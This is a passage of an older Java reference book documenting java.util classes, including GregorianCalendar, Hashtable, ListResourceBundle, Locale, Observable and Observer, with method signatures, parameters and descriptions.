Calendar.equals()

Description

This method returns true if when is an instance of GregorianCalendar, and it contains the same value as the object this method is associated with.

getGreatestMinimum

public int getGreatestMinimum(int field)

Parameters

field

A time field constant.

Returns

The highest minimum value for the given time field.

Overrides

Calendar.getGreatestMinimum()

Description

This method returns the highest minimum value for the given time field, if the field has a range of minimum values. If the field has only one minimum value, this method is equivalent to getMinimum(). All of the fields in GregorianCalendar have only one minimum value.

getGregorianChange

public final Date getGregorianChange()

Returns

The date this GregorianCalendar uses as the change date between the Julian and Gregorian calendars.

Description

By default, GregorianCalendar considers midnight local time, October 15, 1582, to be the date when the Gregorian calendar was adopted. This value can be changed using setGregorianChange().

getLeastMaximum

public int getLeastMaximum(int field)

Parameters

field

A time field constant.

Returns

The lowest maximum value for the given time field.

Overrides

Calendar.getLeastMaximum()

Description

This method returns the lowest maximum value for the given time field, if the field has a range of maximum values. If the field has only one maximum value, this method is equivalent to getMaximum(). For example, for a GregorianCalendar, the lowest maximum value of DATE_OF_MONTH is 28.

getMaximum

public int getMaximum(int field)

Parameters

field

A time field constant.

Returns

The maximum value for the given time field.

Overrides

Calendar.getMaximum()

Description

This method returns the maximum value for the given time field. For example, for a GregorianCalendar, the maximum value of DATE_OF_MONTH is 31.

getMinimum

public int getMinimum(int field)

Parameters

field

A time field constant.

Returns

The minimum value for the given time field.

Overrides

Calendar.getMinimum()

Description

This method returns the minimum value for the given time field. For example, for a GregorianCalendar, the minimum value of DATE_OF_MONTH is 1.

hashCode

public synchronized int hashCode()

Returns

A hashcode for this GregorianCalendar.

Overrides

Object.hashCode()

Description

This method returns a hashcode for this object.

isLeapYear

public boolean isLeapYear(int year)

Parameters

year

The year to test.

Returns

true if the given year is a leap year; false otherwise.

Description

This method returns a boolean value that indicates whether or not the specified year is a leap year. Leap years are those years that are divisible by 4, except those that are divisible by 100, unless they are divisible by 400. For example, 1900 is not a leap year because it is divisible by 100 but not by 400. The year 2000 is a leap year.

roll

public void roll(int field, boolean up)

Parameters

field

The time field to be adjusted.

up

A boolean value that indicates if the given field should be incremented.

Throws

IllegalArgumentException

If field is not a valid time field.

Overrides

Calendar.roll()

Description

This method adds or subtracts one time unit from the given time field. For example, to increase the current date by one day, you can call roll(GregorianCalendar.DATE, true).

The method maintains the field being rolled within its valid range. For example, in a calendar system that uses hours and minutes to measure time, rolling the minutes up from 59 sets that field to 0. By the same token, rolling that field down from 0 sets it to 59.

The roll() method does not adjust the value of any other field than the one specified by its field argument. In particular, for calendar systems that have months with different numbers of days, it may be necessary to adjust the month and also year when the day of the month is rolled up. For example, calling roll(GregorianCalendar.DAY_OF_MONTH, true) on a GregorianCalendar that represents December 31, 1996 changes the date to December 1, 1996. In addition, calling roll() may make the fields inconsistent. For example, calling roll(GregorianCalendar.MONTH, true) on a GregorianCalendar that represents January 31, 1997 changes the date to February 31, 1997. It is the responsibility of the caller of roll() to adjust the other fields.

setGregorianChange

public void setGregorianChange(Date date)

Parameters

date

A Date object that represents the new time value.

Description

This method sets the date that this GregorianCalendar uses as the change date between the Julian and Gregorian calendars. The default is midnight local time, October 15, 1582. This is the date that Pope Gregory instituted the calendar in many Catholic countries in Europe. Most Catholic countries followed within a few years. Protestant England and America did not adopt the new calendar until September 14, 1752.

Protected Instance Methods

computeFields

protected void computeFields()

Overrides

Calendar.computeFields()

Description

This method calculates the time fields of this GregorianCalendar from its raw time value.

computeTime

protected void computeTime()

Overrides

Calendar.computeTime()

Description

This method calculates the raw time value of this GregorianCalendar from its time field values.

Inherited Variables

Variable | Inherited From | Variable | Inherited From
areFieldsSet | Calendar | fields | Calendar
isSet | Calendar | isTimeSet | Calendar
time | Calendar |  |

Inherited Methods

Method | Inherited From | Method | Inherited From
clear() | Calendar | clear(int) | Calendar
complete() | Calendar | finalize() | Object
get(int) | Calendar | getClass() | Object
getFirstDayOfWeek() | Calendar | getMinimumDaysInFirstWeek() | Calendar
getTime() | Calendar | getTimeInMillis() | Calendar
getTimeZone() | Calendar | internalGet(int) | Calendar
isLenient() | Calendar | isSet(int) | Calendar
notify() | Object | notifyAll() | Object
set(int, int) | Calendar | set(int, int, int) | Calendar
set(int, int, int, int, int) | Calendar | set(int, int, int, int, int, int) | Calendar
setFirstDayOfWeek(int) | Calendar | setLenient(boolean) | Calendar
setMinimalDaysInFirstWeek(int) | Calendar | setTime(Date) | Calendar
setTimeInMillis(long) | Calendar | setTimeZone(TimeZone) | Calendar
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Calendar, Cloneable, Date, IllegalArgumentException, Locale, Serializable, TimeZone

Previous | Home | Next
EventObject | Book Index | Hashtable
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] Hashtable

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

Hashtable

Name

Hashtable

Synopsis

Class Name:

java.util.Hashtable

Superclass:

java.util.Dictionary

Immediate Subclasses:

java.util.Properties

Interfaces Implemented:

java.lang.Cloneable, java.io.Serializable

Availability:

JDK 1.0 or later

Description

The Hashtable class is a concrete subclass of Dictionary that builds a table of key/value pairs. Any non-null object can be used as a key or as a value. The objects used as keys must implement the equals() and hashCode() methods in a way that computes comparisons and hashcodes from the contents of an object. Once the table is built, a value can be efficiently retrieved by supplying its associated key.

Hashtable is an excellent example of how a well-written class can hide an arcane algorithm. The casual user simply instantiates a Hashtable and uses put() and get() to add and retrieve key and value pairs. However, when performance is an issue, you need to be aware of the considerations discussed in the following paragraphs.

Internally, a Hashtable keeps an array of key/value pairs. When a new key/value pair is added to a Hashtable, it is added to the array at an index that is calculated from the hashcode of the key. If a key/value pair already exists at this index, the new pair is linked to the existing key and value. Thus, a Hashtable has an overall structure of an array of linked lists.

For a given key, the retrieval of the matching value from a Hashtable is quite fast. The Hashtable computes the hashcode of the key and uses it as an index into the array. Then it only needs to search the linked list of key/value pairs at that index to find a match for the given key. If the array is short, but the Hashtable contains many key/value pairs, however, the linked lists will be lengthy, which adversely affects performance.

A Hashtable has a capacity, which is the length of its array, and a load factor, which determines when rehashing is performed. The load factor is a number between 0 and 1. If the number of key/value pairs added to the Hashtable exceeds the capacity multiplied by the load factor, the capacity of the Hashtable is increased and the key/value pairs are rehashed into the new array. Obviously, this is an undesirable performance hit, so if you know approximately how many items you will add to a Hashtable, you should create one with an appropriate initial capacity.

Class Summary

public class java.util.Hashtable extends java.util.Dictionary
             implements java.lang.Cloneable, java.io.Serializable {
  // Constructors
  public Hashtable();
  public Hashtable(int initialCapacity);
  public Hashtable(int initialCapacity, float loadFactor);
  // Instance Methods
  public synchronized void clear();
  public synchronized Object clone();
  public synchronized boolean contains(Object value);
  public synchronized boolean containsKey(Object key);
  public synchronized Enumeration elements();
  public synchronized Object get(Object key);
  public boolean isEmpty();
  public synchronized Enumeration keys();
  public synchronized Object put(Object key, Object value);
  public synchronized Object remove(Object key);
  public int size();
  public synchronized String toString();
  // Protected Instance Methods
  protected void rehash();
}

Constructors

Hashtable

public Hashtable()

Description

This constructor creates a Hashtable with a default capacity of 101 and a default load factor of .75.

public Hashtable(int initialCapacity)

Parameters

initialCapacity

The initial capacity.

Throws

IllegalArgumentException

If initialCapacity is less than or equal to zero.

Description

This constructor creates a Hashtable with the given capacity and a default load factor of .75.

public Hashtable(int initialCapacity, float loadFactor)

Parameters

initialCapacity

The initial capacity.

loadFactor

The load factor.

Throws

IllegalArgumentException

If initialCapacity or loadFactor is less than or equal to zero.

Description

This constructor creates a Hashtable with the given capacity and load factor.

Instance Methods

clear

public synchronized void clear()

Description

This method removes all of the key/value pairs from this Hashtable.

clone

public synchronized Object clone()

Returns

A copy of this Hashtable.

Overrides

Object.clone()

Description

This method returns a shallow copy of this Hashtable. This means that the internal array of the Hashtable is copied, but the keys and values themselves are not copied.

contains

public synchronized boolean contains(Object value)

Parameters

value

The value to find.

Returns

true if this Hashtable contains the given value; false otherwise.

Throws

NullPointerException

If the given value is null.

Description

This method returns true if the given value is contained in this Hashtable object. The entire table is searched, which can be a time-consuming operation.

containsKey

public synchronized boolean containsKey(Object key)

Parameters

key

The key to find.

Returns

true if this Hashtable contains the given value; false otherwise.

Description

This method returns true if the given key is contained in this Hashtable object. Because the key is hashed to perform the search, this method runs quite fast, especially in comparison to contains().

elements

public synchronized Enumeration elements()

Returns

The values in this Hashtable as an Enumeration.

Overrides

Dictionary.elements()

Description

This method returns an Enumeration that iterates through the values in this Hashtable.

get

public synchronized Object get(Object key)

Parameters

key

The key of the value to retrieve.

Returns

The value that corresponds to this key or null if the key is not associated with any value.

Overrides

Dictionary.get()

Description

This method returns the value that is associated with the given key.

isEmpty

public boolean isEmpty()

Returns

true if there are no values in the Hashtable; false otherwise.

Overrides

Dictionary.isEmpty()

Description

This method returns a boolean value that indicates whether or not the Hashtable is empty.

keys

public synchronized Enumeration keys()

Returns

The keys in the Hashtable as an Enumeration.

Overrides

Dictionary.keys()

Description

This method returns an Enumeration that iterates through the keys in this Hashtable.

put

public synchronized Object put(Object key, Object value)

Parameters

key

A key object.

value

A value object.

Returns

The previous value associated with the given key or null if key has not previously been associated with a value.

Throws

NullPointerException

If either the key or the value is null.

Overrides

Dictionary.put()

Description

This method associates the given key with the given value in this Hashtable.

remove

public synchronized Object remove(Object key)

Parameters

key

A key of the value to remove.

Returns

The value associated with the given key, or null if key is not associated with a value.

Overrides

Dictionary.remove()

Description

This method removes a key/value pair from this Hashtable. If the given key is not in the Hashtable, the method does nothing.

size

public int size()

Returns

The number of key in the Hashtable.

Overrides

Dictionary.size()

Description

This method returns the number of key/value pairs in the Hashtable.

toString

public String toString()

Returns

A string that represents this Hashtable.

Overrides

Object.toString()

Description

This method returns a string representation of this Hashtable. The string includes every key/value pair that is contained in the Hashtable, so the string returned by toString() can be quite long.

Protected Instance Methods

rehash

protected void rehash()

Description

This method increases the capacity of this Hashtable. A larger internal array is created and all existing key/value pairs are rehashed into the new array.

Inherited Methods

Method | Inherited From | Method | Inherited From
equals(Object) | Object | finalize() | Object
getClass() | Object | hashCode() | Object
notify() | Object | notifyAll() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Cloneable, Dictionary, Enumeration, IllegalArgumentException, NullPointerException, Properties, Serializable

Previous | Home | Next
GregorianCalendar | Book Index | ListResourceBundle
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] ListResourceBundle

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

ListResourceBundle

Name

ListResourceBundle

Synopsis

Class Name:

java.util.ListResourceBundle

Superclass:

java.util.ResourceBundle

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The ListResourceBundle class is an abstract subclass of ResourceBundle that represents a list of resources for a locale. The resources are listed as a set of key/value pairs. Internally, a Hashtable is used for quick lookup of values. To subclass ListResourceBundle, all you need to do is override getContents() to return a two-dimensional array of Objects that contains the key/value pairs.

When ResourceBundle.getBundle() is called, it attempts to find a resource bundle that most closely matches a particular locale. This can be either a ListResourceBundle subclass or a property file, represented by a PropertyResourceBundle. Once the resource bundle has been retrieved, its contents can be used by the application to present locale-specific information.

PropertyResourceBundle inherits a lot of functionality from ResourceBundle; see the class description of ResourceBundle for more information.

Class Summary

public abstract class java.util.ListResourceBundle
                      extends java.util.ResourceBundle {
  // Instance Methods
  public Enumeration getKeys();
  public final Object handleGetObject(String key);
  // Protected Instance Methods
  protected abstract Object[][] getContents();
}

Instance Methods

getKeys

public Enumeration getKeys()

Returns

The keys in the resource bundle as an Enumeration.

Overrides

ResourceBundle.getKeys()

Description

This method returns an Enumeration that iterates through the keys in this ListResourceBundle.

handleGetObject

public final Object handleGetObject(String key)

Parameters

key

The key of the resource to retrieve.

Returns

The resource that corresponds to this key.

Overrides

ResourceBundle.handleGetObject()

Description

This method returns the resource that corresponds to the given key. This method should not be called directly by your code. Your code should call ResourceBundle.getObject(), which may call the handleGetObject() objects of multiple subclasses of ResourceBundle looking for a particular resource. Calling handleGetObject() directly only finds resources in the object associated with the method.

Protected Instance Methods

getContents

protected abstract Object[][] getContents()

Returns

The key/value pairs that represent the resources as a two-dimensional array.

Description

This method returns a two-dimensional Object array that contains all the key/value pairs for this ListResourceBundle.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
getObject(String) | ResourceBundle | getString(String) | ResourceBundle
getStringArray(String) | ResourceBundle | hashCode() | Object
notify() | Object | notifyAll() | Object
setParent(ResourceBundle) | ResourceBundle | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Enumeration, Hashtable, PropertyResourceBundle, ResourceBundle

Previous | Home | Next
Hashtable | Book Index | Locale
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] Locale

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

Locale

Name

Locale

Synopsis

Class Name:

java.util.Locale

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.lang.Cloneable, java.io.Serializable

Availability:

New as of JDK 1.1

Description

The Locale class is used for internationalization. Instances of Locale specify language and formatting customs by identifying a language and a country. A Locale object may also specify a platform-specific variant. Other classes throughout the JDK use Locale objects to determine how to represent themselves to the user. The tasks performed by these classes are called locale-sensitive tasks; the tasks should be done in a way that conforms with the conventions of a particular country and language.

There are a number of classes provided with Java that have static methods that create instances of locale-specific subclasses. For example, the NumberFormat class contains static methods named getInstance() that create and return locale-specific instances of subclasses of NumberFormat. A particular NumberFormat instance knows how to format numbers, currency values, and percentages appropriately for a particular locale. Note that it is the responsibiity of a class like NumberFormat to implement the logic needed to translate locale-identifying information into actual subclass instances.

Classes like NumberFormat that can create locale-specific instances are expected to follow certain conventions:

  • Methods like getInstance() in NumberFormat are expected to have two variants: one that takes a Locale argument and one that does not. The variant that does not take a locale argument is expected to use the default locale, which is normally determined by calling Locale.getDefault().

  • Classes that can create a variety of locale-specific instances are expected to implement a method that has the following signature:

    public static Locale[] getAvailableLocales()

    This requirement is not specified through an interface declaration because interfaces cannot declare static methods. The purpose of this method is to facilitate presenting the user with a list or menu of locale choices. The getAvailableLocales() method should return an array of Locale objects that identifies all of the locales for which the class can create locale-specific instances.

    Two additional methods are recommended for helping to display the locale choices:

    public static final String getDisplayName(Locale objectLocale)
public static String getDisplayName(Locale objectLocale,
                                    Locale displayLocale)

    The first form of getDisplayName() should return a description of objectLocale that is suitable for display in the default locale. The second form should return a description of objectLocale that is suitable for display in the locale specified by displayLocale. Implementations of these methods generally call the getDisplayName() method of the Locale object.

The language, country and variant information that are encapsulated by a Locale object are specified to a constructor as strings. The language for a Locale should be specified as one of the two-letter lowercase language codes defined by ISO-639. Look for a complete list at http://www.ics.uci.edu/pub/ietf/http/related/iso639.txt.

The country for a Locale object should be specified as either "" to indicate that no country is specified, or as one of the two-letter uppercase country codes defined by ISO-3166. Check the site, http://www.chemie.fu-berlin.de/diverse/doc/ISO_3166.html, for a complete list

Variant codes are platform-specific.

Although the Locale is constructed from these three types of codes, human-readable names can be obtained by calling getDisplayLanguage(), getDisplayCountry(), and getDisplayVariant().

The Locale class defines a number of constant Locale objects that represent some of the major languages and countries of the world.

Class Summary

public abstract class java.util.Locale extends java.lang.Object
                      implements java.lang.Cloneable, java.io.Serializable {
  // Constants
  public final static Locale CANADA;
  public final static Locale CANADA_FRENCH;
  public final static Locale CHINA;
  public final static Locale CHINESE;
  public final static Locale ENGLISH;
  public final static Locale FRANCE;
  public final static Locale FRENCH;
  public final static Locale GERMAN;
  public final static Locale GERMANY;
  public final static Locale ITALIAN;
  public final static Locale ITALY;
  public final static Locale JAPAN;
  public final static Locale JAPANESE;
  public final static Locale KOREA;
  public final static Locale KOREAN;
  public final static Locale PRC;
  public final static Locale SIMPLIFIED_CHINESE;
  public final static Locale TAIWAN;
  public final static Locale TRADITIONAL_CHINESE;
  public final static Locale UK;
  public final static Locale US;
  // Constructors
  public Locale(String language, String country);
  public Locale(String language, String country, String variant);
  // Class Methods
  public static synchronized Locale getDefault();
  public static synchronized void setDefault(Locale newLocale);
  // Instance Methods
  public Object clone();
  public boolean equals(Object obj);
  public String getCountry();
  public final String getDisplayCountry();
  public String getDisplayCountry(Locale inLocale);
  public final String getDisplayLanguage();
  public String getDisplayLanguage(Locale inLocale);
  public final String getDisplayName();
  public String getDisplayName(Locale inLocale);
  public final String getDisplayVariant();
  public String getDisplayVariant(Locale inLocale);
  public String getISO3Country();
  public String getISO3Language();
  public String getLanguage();
  public String getVariant();
  public synchronized int hashCode();
  public final String toString();
}

Constants

CANADA

public final static Locale CANADA

Description

A locale that represents English-speaking Canada.

CANADA_FRENCH

public final static Locale CANADA_FRENCH

Description

A locale that represents French-speaking Canada.

CHINA

public final static Locale CHINA

Description

A locale that represents China.

CHINESE

public final static Locale CHINESE

Description

A locale that represents the Chinese language.

ENGLISH

public final static Locale ENGLISH

Description

A locale that represents the English language.

FRANCE

public final static Locale FRANCE

Description

A locale that represents France.

FRENCH

public final static Locale FRENCH

Description

A locale that represents the French language.

GERMAN

public final static Locale GERMAN

Description

A locale that represents the German language.

GERMANY

public final static Locale GERMANY

Description

A locale that represents Germany.

ITALIAN

public final static Locale ITALIAN

Description

A locale that represents the Italian language.

ITALY

public final static Locale ITALY

Description

A locale that represents Italy.

JAPAN

public final static Locale JAPAN

Description

A locale that represents Japan.

JAPANESE

public final static Locale JAPANESE

Description

A locale that represents the Japanese language.

KOREA

public final static Locale KOREA

Description

A locale that represents Korea.

KOREAN

public final static Locale KOREAN

Description

A locale that represents the Korean language.

PRC

public final static Locale PRC

Description

A locale that represents the People's Republic of China. It is equivalent to CHINA.

SIMPLIFIED_CHINESE

public final static Locale SIMPLIFIED_CHINESE

Description

A locale that represents the Chinese language as used in mainland China.

TAIWAN

public final static Locale TAIWAN

Description

A locale that represents Taiwan.

TRADITIONAL_CHINESE

public final static Locale TRADITIONAL_CHINESE

Description

A locale that represents the Chinese language as used in Taiwan.

UK

public final static Locale UK

Description

A locale that represents the United Kingdom.

US

public final static Locale US

Description

A locale that represents the United States.

Constructors

Locale

public Locale(String language, String country)

Parameters

language

A two-letter ISO-639 language code.

country

A two-letter ISO-3166 country code or "" to omit the country specification.

Description

This constructor creates a Locale that represents the given language and country.

public Locale(String language, String country, String variant)

Parameters

language

A two-letter ISO-639 language code.

country

A two-letter ISO-3166 country code or "" to omit the country specification.

variant

A vendor-specific variant code.

Description

This constructor creates a Locale that represents the given language, country, and variant.

Class Methods

getDefault

public static synchronized Locale getDefault()

Returns

The default Locale.

Description

This method returns the current default Locale. An application or applet uses this method to find out how to present locale-sensitive information, such as textual strings and numbers. The method is generally called during application initialization to get the default Locale. Once the locale is set, it almost never changes. If you do change the locale, you should probably reload the GUI for your application, so that any locale-sensitive information in the interface is changed.

The initial default Locale is set by the host system.

setDefault

public static synchronized void setDefault(Locale newLocale)

Parameters

newLocale

The new default locale.

Description

This method changes the current default locale to newLocale. Note that calling setDefault() does not change the default locale of the host system.

Instance Methods

clone

public Object clone()

Returns

A copy of this Locale.

Overrides

Object.clone()

Description

This method creates a copy of this Locale and returns it.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of Locale, and it contains the same value as the object this method is associated with.

getCountry

public String getCountry()

Returns

The country of this Locale.

Description

This method returns a String that represents the country of this Locale. This String is the same String that was passed to the constructor of this Locale object. The String is normally a two-letter ISO-3166 country code.

getDisplayCountry

public final String getDisplayCountry()

Returns

The country of this Locale.

Description

This method returns the country of this Locale as a country name in a form appropriate for this Locale. If the country name cannot be found, this method returns the same value as getCountry().

public String getDisplayCountry(Locale inLocale)

Parameters

inLocale

The locale to use when finding the country name.

Returns

The country of this Locale, localized to the given locale.

Description

This method returns the country of this Locale as a country name in a form appropriate for inLocale. For example, Locale.ITALY.getDisplayCountry(Locale.GERMAN) returns the German name for Italy, Italien.

getDisplayLanguage

public final String getDisplayLanguage()

Returns

The language of this Locale.

Description

This method returns the language of this Locale as a language name in a form appropriate for this Locale. If the language name cannot be found, this method returns the same value as getLanguage().

public String getDisplayLanguage(Locale inLocale)

Parameters

inLocale

The locale to use when finding the language name.

Returns

The language of this Locale, localized to the given locale.

Description

This method returns the language of this Locale as a language name in a form appropriate for inLocale. For example, Locale.ITALY.getDisplayLanguage(Locale.GERMAN) returns the German name for the Italian language, Italienisch.

getDisplayName

public final String getDisplayName()

Returns

A string that represents this Locale.

Description

This method constructs a string that represents this Locale by calling getDisplayLanguage(), getDisplayCountry(), and getDisplayVariant(). In other words, the method returns a string that contains the country name, language name, and variant in a form appropriate for this Locale. If any of the names cannot be found, the String that was passed to the constructor of this Locale object is used instead. These strings are normally two-letter ISO codes.

public String getDisplayName(Locale inLocale)

Parameters

inLocale

The locale to use when constructing the string representation.

Returns

A string that represents this Locale.

Description

This method constructs a string that represents this Locale by calling getDisplayLanguage(inLocale), getDisplayCountry(inLocale), and getDisplayVariant(inLocale). In other words, the method returns a string that contains the country name, language name, and variant in a form appropriate for inLocale. If any of the names cannot be found, the String that was passed to the constructor of this Locale object is used instead. These strings are normally two-letter ISO codes.

getDisplayVariant

public final String getDisplayVariant()

Returns

The variant of this Locale.

Description

This method returns the variant of this Locale as a human-readable string in a form appropriate for this Locale. If the variant name cannot be found, this method returns the same value as getVariant().

public String getDisplayVariant(Locale inLocale)

Parameters

inLocale

The locale to use when finding the variant name.

Returns

The variant of this Locale, localized to the given locale.

Description

This method returns the variant of this Locale as a human-readable string in a form appropriate for inLocale.

getISO3Country

public String getISO3Country() throws MissingResourceException

Returns

The ISO three-letter country code of this Locale.

Throws

MissingResourceException

If the requested code cannot be found.

Description

This method returns the country of this Locale as a three-letter ISO country code. The country code is obtained from a ResourceBundle for this Locale.

getISO3Language

public String getISO3Language() throws MissingResourceException

Returns

The ISO three-letter language code of this Locale.

Throws

MissingResourceException

If the requested code cannot be found.

Description

This method returns the language of this Locale as a three-letter ISO language code. The language code is obtained from a ResourceBundle for this Locale.

getLanguage

public String getLanguage()

Returns

The language of this Locale.

Description

This method returns a String that represents the language of this Locale. This String is the same String that was passed to the constructor of this Locale object. The String is normally a two-letter ISO-639 language code.

getVariant

public String getVariant()

Returns

The variant of this Locale.

Description

This method returns the variant code of this Locale. If no variant code is specified for this Locale, an empty string is returned.

hashCode

public synchronized int hashCode()

Returns

A hashcode for this Locale.

Overrides

Object.hashCode()

Description

This method returns a hashcode for this object.

toString

public final String toString()

Returns

A string representation of this Locale.

Overrides

Object.toString()

Description

This method returns a string representation of this Locale, constructed from the language code, country code, and variant code. The various codes are separated by underscore characters. If a code is missing, it is omitted.

Inherited Methods

Method | Inherited From | Method | Inherited From
finalize() | Object | getClass() | Object
notify() | Object | notifyAll() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Cloneable, DateFormat, NumberFormat, ResourceBundle, Serializable

Previous | Home | Next
ListResourceBundle | Book Index | MissingResourceException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] MissingResourceException

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

MissingResourceException

Name

MissingResourceException

Synopsis

Class Name:

java.util.MissingResourceException

Superclass:

java.lang.RuntimeException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

A MissingResourceException is thrown when a requested resource cannot be found.

Class Summary

public class java.util.MissingResourceException
             extends java.lang.RuntimeException {
  // Constructors
  public MissingResourceException(String s, String classname, String key);
  // Instance Methods
  public String getClassName();
  public String getKey();
}

Constructors

MissingResourceException

 public MissingResourceException(String s, String classname, String key)

Parameters

s

The detail message.

classname

The resource class that generated this exception.

key

The key that was used to request a resource.

Description

This constructor creates a MissingResourceException with the given information.

Instance Methods

getClassName

public String getClassName()

Returns

The class name that generated this exception.

Description

This method returns the class name that was used to create this exception.

getKey

public String getKey()

Returns

The key that caused this exception.

Description

This method returns the key that was used to create this exception.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Throwable
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, ResourceBundle, RuntimeException

Previous | Home | Next
Locale | Book Index | NoSuchElementException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] NoSuchElementException

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

NoSuchElementException

Name

NoSuchElementException

Synopsis

Class Name:

java.util.NoSuchElementException

Superclass:

java.lang.RuntimeException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A NoSuchElementException is thrown by Enumeration objects when there are no more elements to be returned.

Class Summary

public class java.util.NoSuchElementException
             extends java.lang.RuntimeException {
  // Constructors
  public NoSuchElementException();
  public NoSuchElementException(String s);
}

Constructors

NoSuchElementException

public NoSuchElementException()

Description

This constructor creates a NoSuchElementException with no associated detail message.

public NoSuchElementException(String s)

Parameters

s

The detail message.

Description

This constructor creates a NoSuchElementException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Throwable
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Enumeration, Exception, RuntimeException

Previous | Home | Next
MissingResourceException | Book Index | Observable
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] Observable

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

Observable

Name

Observable

Synopsis

Class Name:

java.util.Observable

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

Subclasses of the Observable class are used to implement the model portion of the model-view paradigm. The idea is that an Observable object, the model, represents some data that is being manipulated through a user interface, while Observer objects provide the user with a view of the data. When the Observable object is modified, it tells the Observer objects that the model has been modified by calling notifyObservers(). An Observer object registers with an Observable object to receive notifications when the Observable is modified. The Observer object is then notified of changes via the update() method.

Class Summary

public class java.util.Observable extends java.lang.Object {
  // Constructors
  public Observable();
  // Instance Methods
  public synchronized void addObserver(Observer o);
  public synchronized int countObservers();
  public synchronized void deleteObserver(Observer o);
  public synchronized void deleteObservers();
  public synchronized boolean hasChanged();
  public void notifyObservers();
  public void notifyObservers(Object arg);
  // Protected Instance Methods
  protected synchronized void clearChanged();
  protected synchronized void setChanged();
}

Constructors

Observable

public Observable()

Description

This constructor creates an Observable object with no registered Observer objects.

InstanceMethods

addObserver

public synchronized void addObserver(Observer o)

Parameters

o

The Observer to be added.

Description

This method registers the given Observer with this Observable object. The given Observer is then notified when notifyObservers() is called.

countObservers

public synchronized int countObservers()

Returns

The number of registered Observer objects for this Observable object.

Description

This method returns the number of Observer objects that are registered with this Observable object.

deleteObserver

public synchronized void deleteObserver(Observer o)

Parameters

o

The Observer to be removed.

Description

This method unregisters the given Observer with this Observable object. The given Observer is no longer notified when notifyObservers() is called.

deleteObservers

public synchronized void deleteObservers()

Description

This method unregisters all of the Observer objects of this Observable object. Thus, no objects are notified if notifyObservers() is called.

hasChanged

public synchronized boolean hasChanged()

Returns

true if this object has been flagged as changed; false otherwise.

Description

This method returns the value of an internal "dirty" flag. The flag can be modified using the protected methods setChanged() and clearChanged().

notifyObservers

public void notifyObservers()

Description

This method calls the update() method of all registered Observer objects. The value passed as the second argument to each of the update() method calls is null.

public void notifyObservers(Object arg)

Parameters

arg

A "hint" object that describes a change.

Description

This method calls the update() method of all registered Observer objects. The value passed as the second argument to each of the update() method calls is the given object arg.

This "hint" object can be used to efficiently update the views of a model. For example, an Observable object could represent satellite image data. A set of Observer objects would provide different graphical views of the data. If the model data changes, the arg object describes the part of the data that changed, and the Observer views could use this "hint" to update only parts of their displays.

Protected Instance Methods

clearChanged

protected synchronized void clearChanged()

Description

This method sets an internal "dirty" flag to false. After this method is called, this object's hasChanged() method returns false.

setChanged

protected synchronized void setChanged()

Description

This method sets an internal "dirty" flag to true. After this method is called, this object's hasChanged() method returns true.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Observer

Previous | Home | Next
NoSuchElementException | Book Index | Observer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] Observer

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

Observer

Name

Observer

Synopsis

Interface Name:

java.util.Observer

Super-interface:

None

Immediate Sub-interfaces:

None

Implemented By:

None

Availability:

JDK 1.0 or later

Description

The Observer interface is used to implement the view portion of the model-view paradigm. The idea is that an Observable object, the model, represents some data that is being manipulated through a user interface, while Observer objects provide the user with a view of the data. When the Observable object is modified, it tells the Observer objects that the model has been modified by calling notifyObservers(). An Observer object registers with an Observable object to receive notifications when the Observable is modified. The Observer object is then notified of changes via the update() method.

Interface Summary

public abstract interface java.util.Observer {
  // Methods
  public abstract void update(Observable o, Object arg);
}

Methods

update

void update(Observable o, Object arg)

Parameters

o

